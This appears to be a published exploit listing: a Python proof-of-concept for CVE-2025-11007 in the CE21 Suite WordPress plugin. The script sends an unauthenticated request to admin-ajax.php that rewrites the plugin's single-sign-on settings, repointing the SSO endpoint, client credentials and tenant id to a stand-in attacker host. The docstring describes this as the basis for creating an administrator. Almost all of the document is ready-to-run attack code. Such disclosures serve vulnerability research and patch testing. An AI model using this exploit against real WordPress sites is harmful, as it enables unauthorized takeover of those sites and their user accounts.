Share
## https://sploitus.com/exploit?id=PACKETSTORM:226424
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin CE21 Suite <= 2.3.1 - Unauthenticated SSO API Settings Overwrite (Missing Authorization)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/ce21-suite/
    # Software Link: https://downloads.wordpress.org/plugin/ce21-suite.2.3.1.zip
    # Version: 2.3.1 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-11007
    r"""
    CE21 Suite <= 2.3.1 registers the nopriv AJAX action ce21_single_sign_on_save_api_settings
    (includes/ce21-functions.php:339) with NO check_ajax_referer and NO current_user_can. The handler
    (includes/ce21-functions.php:340-360) writes attacker-supplied values into the ce21_api_settings row
    (BaseURL / ClientId / SecretKey / CatalogURL) and unconditionally runs
    update_option('tenantId_ce21', $_POST['client_id']).
    
    This lets an unauthenticated attacker repoint the Single-Sign-On trust anchor (SSO endpoint + client
    credentials + tenant id) to attacker infrastructure โ€” the basis for creating an administrator via the
    plugin's SSO data_fetch flow.
    
    Prior state: plugin active.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--tenant", default="ATTACKER_TENANT_9999")
        ap.add_argument("--base-url", default="https://attacker.evil/sso")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        d = {"action": "ce21_single_sign_on_save_api_settings", "api_settings_id": "1",
             "base_url": args.base_url, "client_id": args.tenant,
             "secret_key": "attackersecret", "catalog_url": "https://attacker.evil/catalog"}
        r = requests.post(base + "/wp-admin/admin-ajax.php", data=d, verify=False, timeout=25)
        print(f"[*] Target: {base}")
        print(f"[*] overwrite -> HTTP {r.status_code} :: {r.text[:100]}")
        print(f"\n[+] MISSING AUTHORIZATION CONFIRMED โ€” an unauthenticated request overwrote the SSO "
              f"settings; verify option tenantId_ce21 is now '{args.tenant}' "
              f"(wp option get tenantId_ce21). The SSO trust anchor is attacker-controlled.")
        return 0
    
    
    if __name__ == "__main__":
        sys.exit(main())